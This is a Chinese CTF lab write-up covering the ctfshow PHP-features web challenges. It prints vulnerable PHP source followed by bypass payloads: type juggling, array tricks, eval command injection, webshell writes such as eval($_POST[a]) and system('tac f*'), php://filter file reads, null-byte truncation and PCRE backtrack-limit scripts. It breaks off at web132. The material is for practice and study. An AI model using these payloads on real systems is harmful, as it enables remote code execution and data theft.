CTFSHOW-web入门-php特性

web89

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

题目中要求传入数字 然后intval() 函数用于获取变量的整数值

利用preg_match()函数无法处理数组的漏洞绕过匹配

intval()函数貌似也无法处理数组

本地环境?num=aaaaa不输出

?num[]=aaaaa就可以输出

image-20210810154644586

1
题目payload:?num[]=1

2021/8/11

web90

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
php弱类型总结

image-20210811124716220

要求传入的num不能全等于4476 (数值类型)

且经过int转换之后需要全等于4476 (数值类型)

1
2
3
4
 弱类型法:?num=4476asfsf ?num=4476.0  ?num=4476.1//第一个判断类型不相等 第二个判断经过强制转换之后相等
十六进制法: ?num=0x117c
八进制法:?num=010574
二进制:?num=0b1000101111100

本地测试

image-20210811125124722

web91

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //匹配$a开头和结尾是php (^表示开头 $表示结尾 /i不区分大小写 /m表示多行匹配)
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

/i不区分大小写

/m代表匹配多行数据

考点:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展

第一个匹配 只要在某一行匹配到了开头和结尾都是php就可以通过 也就是说匹配内容中必须只有flag

第二个匹配不分行 一起匹配 要求不能出现php

1
?cmd=aaaa%0aphp

第一个匹配遇到了%0a 当成换行符 继续匹配第二行 匹配到了只有php的一行 通过

第二个匹配一行内有%0aphp 不满足开头和结尾都是php 不通过 输出flag

web92

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

第一个if($num==4476) 要求传入的num不能等于4476 所以弱类型就失效了

看到intval里base参数还是0 所以可以用进制绕过

新知识:intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取

1
2
3
4
5
6
十六进制法: ?num=0x117c
八进制法:?num=010574
?num=4476e123 //e后面加数字是为了让第一个==判断当成弱类型处理 从而通过第一个==判断
?num=4476E1 //e前面的4476可以通过第二个==判断
float数据类型:?num=4476.1 //第一个判断不相等 第二个判断经过强制转换为4476 强制取整
错误:?num=4476e0 //e0还是本身 无法绕过第一个

web93

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

第一个==判断可以用进制转换和科学计数法绕过

第二个判断检测不能出现字母,所以只能用八进制绕过

第三个intval配合八进制 输出flag

1
2
八进制:?num=010574
float: ?num=4476.1

web94

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

多了一个判断函数

image-20210811141527656

如果我们传入的num有0 则不通过 这样就不能用进制转换了

1
?num=4476.0

web95

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

preg_match(“/[a-z]|./i”, $num) 把小数点过滤了

可以通过8进制绕过但是前面必须多加一个字节 这样就保证开头字符不是0了

1
2
3
4
5
?num=+010574

?num=%2b010574

?num=%20010574

web96

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

要求传入的u不能是flag.php

然后显示参数u文件的代码

可以配合伪协议绕过

也可以用相对/绝对路径绕过

1
2
3
4
5
?u=php://filter/read=convert.base64-encode/resource=flag.php

?u=./flag.php

?u=/var/www/html/flag.php

web97

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

要求传入a和b参数 且a不等于b 且md5加密后的a和b相等

由于md5判断的是=== 全等 无法用弱类型绕过

md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,就会得到===强比较的值相等

1
a[]=1&b[]=2

这个题目强碰撞没成功

1
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web98

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

知识点:php三元运算符与if的详解

php函数的传值与传址(引用)详解

php中引用的用法:

  1. 变量的引用赋值: $a = &$b

  2. 函数调用时的引用参数传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
include('flag.php');

$_GET?$_GET=&$_POST:'flag';
============================
if($_GET)
{
$_GET=&$_POST;//如果存在GET请求则引用POST请求的内容
//重点:GET请求不管给什么东西都会被POST请求覆盖掉
//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}
else
{
'flag';
}


$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
================================================
if($_GET['flag']=='flag')
{
$_GET=&$_COOKIE;
}
else
{
'flag';
}



$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
============================================
if($_GET['HTTP_FLAG']=='flag')
{
$flag;
}
else
{
__FILE__;
}

GET请求不管给什么东西都会被POST请求覆盖掉 那就随便GET一个 然后POST让HTTP_FLAG='flag'
GET一个?a=a 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

web99

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$allow = array(); //将变量allow设为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i)); //向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

array() 函数用于创建数组。

array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。

rand() 函数生成随机整数。(如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。 )

in_array() 函数搜索数组中是否存在指定的值。

从题目来看 最难绕过的点就是in_array 如果传入n的文件名为x.php 需要在in_array中被搜索到才能通过

核心:in_array() 函数漏洞

1
#以下,'7eee'被强制转换成整型 7var_dump(in_array('7eee', [1, 2, 7, 9]));//true #如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。var_dump(in_array('7eee', [1, 2, 7, 9], true));//false
1
本地测试:    var_dump(in_array('1.php', [1, 2, 7, 9])); //bool(true)

因为rand()函数从1-877(0x36d)之间随机插入了很多数 只要是数字开头的 x.php就可以利用此漏洞

1
2
3
4
GET:
?n=1.php / ?n=2.php //盲猜随机数
POST:
content=<?php system('tac f*');?> //也可以写一句话木马

web100

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

php中OR与|| AND与&&的区别总结

1
2
3
4
5
6
7
8
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

<?php
$a=true and false and false;
var_dump($a); 返回true

$a=true && false && false;
var_dump($a); 返回false

绕过

1
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

利用这种方式

1
$a=true and false and false;

保证v1位数字 v2构造命令 v3写分号结尾

1
eval("$v2('ctfshow')$v3
1
2
3
4
5
if(!preg_match("/\;/", $v2)){  //v2中不能有分号
if(preg_match("/\;/", $v3)){ //v3中需要有分号
eval("$v2('ctfshow')$v3");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 eval("$v2('ctfshow')$v3


?v1=1&v2=system('tac ctfshow.php')&v3=;

=======================================
eval("system('tac ctfshow.php')('ctfshow'); //会报错,但是可以执行


?v1=1&v2=system('tac ctfshow.php')/*&v3=*/;

=======================================
eval("system('tac ctfshow.php')/*('ctfshow')*/; //使用了注释 不报错,可以执行

输出的flag需要把0x2d HEX Decode成 -

然后加上ctfshow{}

web101

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

v2过滤了很多符号 没法命令执行了 v3分号没过滤

考点是类反射

CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令

1
2
3
4
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。

$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化Person 类

导出类信息

1
?v1=1&v2=echo new Reflectionclass&v3=;

拿到flag 0x2d换成-

flag最后少一位 从0-9 a-z一个一个试

2021/8/12

web102

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

substr() 函数返回字符串的一部分。

substr(string,start,length)

call_user_func — 把第一个参数作为回调函数调用

结合方向 运算符 附加信息
clone new clonenew
[ array()
** 算术运算符
++ ~ (int) (float) (string) (array) (object) (bool) @ 类型递增/递减
instanceof 类型
! 逻辑运算符
** / %* 算术运算符
+ - . 算术运算符字符串运算符
<< >> 位运算符
< <= > >= 比较运算符
== != === !== <> <=> 比较运算符
& 位运算符引用
^ 位运算符
*\ * 位运算符
&& 逻辑运算符
*\ \ * 逻辑运算符
?? 比较运算符
? : ternary
right = += -= = = /= .= %= &= \ = ^= <<= >>=* 赋值运算符
and 逻辑运算符
xor 逻辑运算符
or 逻辑运算符

这里v2必须是数字 因为赋值运算的优先级比AND和OR的高

$p = 6 and 0;
var_dump($p); //int(6)

substr函数会从第三个字符(012)开始截取

v1是自定义函数 可以利用hex2bin

v3没做限制 可以利用伪协议写入base64解码之后的字符串

1
php://filter/write=convert.base64-decode/resource=1.php
1
PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= //<?php eval($_POST[a]);

将其转换为16进制字符串

1
50443977614841675a585a686243676b5831425055315262595630704f776f3d  //PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=

在base64字符串前面增加5个字符 然后转换成16进制

1
2
3
aaaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=  

616161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020

传入16进制字符串 绕过数字检测 substr函数截取变成

1
2
3
4
5
6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020

aaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=

i��<?php eval($_POST[a]);

最终payload

1
2
3
4
5
6
7
8
9
GET

v2=6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020&v3=php://filter/write=convert.base64-decode/resource=1.php

POST

v1=hex2bin

php7版本加上0x才可以识别16进制

结果执行失败了 看了一些 是因为16进制中出现了字符串 没过检测 那么就想办法构造一个简短的payload

1
2
3
4
5
6
7
8
9
<?=`cat *`;

PD89YGNhdCAqYDs=

PD89YGNhdCAqYDs

5044383959474e6864434171594473

005044383959474e6864434171594473

最终payload

1
2
3
4
5
6
7
GET

v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST

v1=hex2bin //把十六进制值转换为 ASCII

新知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? ?>是短标签
<?php ?>是长标签
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:<? ?>
同时,只有开启这个才可以使用 <?= 以代替 <? echo 。在CodeIgniter的视频教程中就是用的这种方式。
但是这个短标签是不推荐的,使用<?php ?>才是规范的方法。只是因为这种短标签使用的时间比较长,这种特性才被保存了下来。


1. 反引号(``) 执行运算符(注意这不是单引号)

PHP 将尝试将反引号中的内容作为外壳命令来执行,并将其输出信息返回(例如,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

web103

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

这个题和上一题的不同之处是会检查hex2bin之后的base64字符串 是不存在php字符的 还是用上一题payload

1
2
3
4
5
6
7
GET

v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST

v1=hex2bin //把十六进制值转换为 ASCII

web104

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

要求post传入v1 get传入v2

两个参数经过sha1加密后相等

1
2
3
4
5
6
7
8
9
GET:v2=1  / v2[]=
POST:v1=1 / v1[]=


或者弱类型
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

web105

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

GET传入的参数作为数组遍历 如果参数名(key)全等于error 就退出脚本

继续向下执行 进行变量覆盖

POST传入的参数作为数组遍历 如果参数名(key)全等于flag就退出脚本

继续向下执行 进行变量覆盖

继续向下执行

如果post传入的flag参数的内容与flag变量不相等 就退出脚本 不传入flag也退出脚本

但是我们是不知道flag变量内容的

考点是变量覆盖

把error变成suces 把suces变成flag

如果不能传入与flag变量相等的flag参数的内容

就会触发die($error); 从而把flag输出

1
2
3
4
5
GET
suces=flag

POST
error=suces

web106

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

这次限定了v1不能和v2相等

直接弱类型

或者用数组绕过sha1函数

1
2
3
4
5
6
7
8
9
10
11
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

GET
v1[]=2

POST

v2[]=1

web107

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}



?>

出现了一个新函数 parse_str()

parse_str() 函数把查询字符串解析到变量中。

image-20210812175038144

1
2
3
4
5
<?php
parse_str("name=Peter&age=43");
echo $name."<br>"; //Peter
echo $age; //43
?>

简单来说就是把传入的参数和内容变成变量

如果又第二个参数的话

就把第一个参数变成数组存储到第二个参数中

1
2
3
4
<?php
parse_str("name=Peter&age=43",$myArray);
print_r($myArray); //Array ( [name] => Peter [age] => 43 )
?>

我们构造v1的内容为flag=xxx 将其存储到v2中

v3要经过md5加密 加密后需要等于v2中flag的内容 也就是我们传入的v1的flag的内容

最终payload:

1
2
3
4
5
GET
v3=0

POST
v1=flag=cfcd208495d565ef66e7dff9f98764da //md5(0);

2021/8/13

web108

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>
error

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值。

一个数经过反转并取整后等于十六进制0x36d即十进制的877

那这个数为778就可以

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

1
?c=a%00778

web109

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

Exception 异常处理类

CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令

payload:

1
2
3
?v1=Exception&v2=system('cat fl36dg.txt') 

?v1=Reflectionclass&v2=system('cat fl36dg.txt') //当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示 即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

web110

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

过滤了很多 没办法命令执行了

考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

http://phpff.com/filesystemiterator

https://www.php.net/manual/zh/class.filesystemiterator.php

getcwd()函数 获取当前工作目录 返回当前工作目录 配合echo输出

1
?v1=FilesystemIterator&v2=getcwd  //fl36dga.txt

web111

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

?>

PHP取地址符(引用符)&详解

1
2
3
4
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //v1参数的内容作为变量名称 v2参数的内容作为变量内容
var_dump($$v1);
}

利用全局变量输出flag

1
2
3
4
5
6
?v1=ctfshow&v2=GLOBALS

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //$ctfshow=&$GLOBALS
var_dump($$v1); //输出全局变量
}

2021/8/18

web112

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

有一个新函数

image-20210818181346585

主要点还是对伪协议的过滤

payload:

1
2
3
4
5
6
7
8
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php

?file=php://filter/read=convert.b%2561se64-encode/resource=flag.php //a url二次编码
?file=php://filter/read=convert.%2562ase64-encode/resource=flag.php //b url二次编码
?file=php://filter/read=convert.%2562%2561se64-encode/resource=flag.php //ba url二次编码

web113

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

过滤字符增加了filter

payload:

1
2
3
4
5
6
?file=compress.zlib://flag.php
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!

过滤字符少了filter 多了compress|root|zip|convert

payload:

1
?file=php://filter/resource=flag.php

web115

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

1
2
3
4
5
6
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){ // 要求传入数字 且不能等于36 然后trim() 函数移除字符串两侧的空白字符或其他预定义字符。 然后filter()函数进行过滤 如果存在0x 0 . e + 都会被替换成1
echo $flag;
}else{
echo "hacker!!";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
语法
trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格

payload:

1
?num=%0c36 //%0c==\f 换页符  +-.和换页符 都可以绕过 trim和is_numeric

2021/8/24

web130

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

js正则表达式 (.+)与(.+?)

非预期payload:

1
2
3
post
f[]=ctfshow //数组绕过stripos
f=ctfshow //.+?匹配失败 返回false

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。

1
2
3
4
5
6
7
import requests
url="http://3995e48f-83e6-4cb7-9d71-8eee1baaa760.challenge.ctf.show:8080/"
data={
'f':'aaaa'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

规定是字符串类型 数组无法绕过stripos

规定要出现36Dctfshow 36Dctfshow无法绕过正则匹配

1
2
3
4
5
6
7
import requests
url="http://b6941c06-dfd1-4295-8f6d-3b2cbade313e.challenge.ctf.show:8080/"
data={
'f':'aaaa'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

访问robots.txt 发现url/admin/

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
